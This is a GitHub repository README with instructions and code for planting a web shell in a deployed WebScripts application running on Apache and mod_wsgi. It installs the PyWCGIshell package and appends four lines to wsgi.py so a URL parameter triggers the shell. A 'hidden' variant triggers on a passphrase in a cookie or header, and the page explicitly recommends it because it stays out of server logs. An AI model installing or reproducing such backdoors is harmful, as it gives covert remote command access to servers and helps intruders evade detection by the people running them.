Skip to content

Install a WebShell on hardened and deployed WebScripts (using Apache and mod_wsgi).

Notifications You must be signed in to change notification settings

mauricelambert/WebScriptsWebShell

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

WebScripts WebShell

Description

Install a WebShell on hardened and deployed WebScripts (using Apache and mod_wsgi).

WebShell on WebScripts - Youtube

WebShell on WebScripts - Youtube

Steps

Install

Install requirements in virtualenv:

pip install PyWCGIshell

Write code

Add 4 lines to the end of the wsgi.py file.

Default WebShell

from PyWCGIshell import WebShell
webshell = WebShell(type_="wsgi")
webshell.standard_page = application
application = webshell.run
  • To use the WebShell add ?$HELL to the end of the URL
  • The $HELL in the query string is visible in the logs, i do not recommend using the default WebShell configuration.

Hidden WebShell

from PyWCGIshell import WebShell
webshell = WebShell(type_="wsgi", passphrase="azerty", pass_type="header_value")
webshell.standard_page = application
application = webshell.run
  • To use the WebShell add azerty in a header value (for example in a cookie, in the javascript console: document.cookie="azerty") and reload the page
  • The value of the cookie is not visible in the logs
  • You should change the passphrase for more discretion

About

Install a WebShell on hardened and deployed WebScripts (using Apache and mod_wsgi).

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages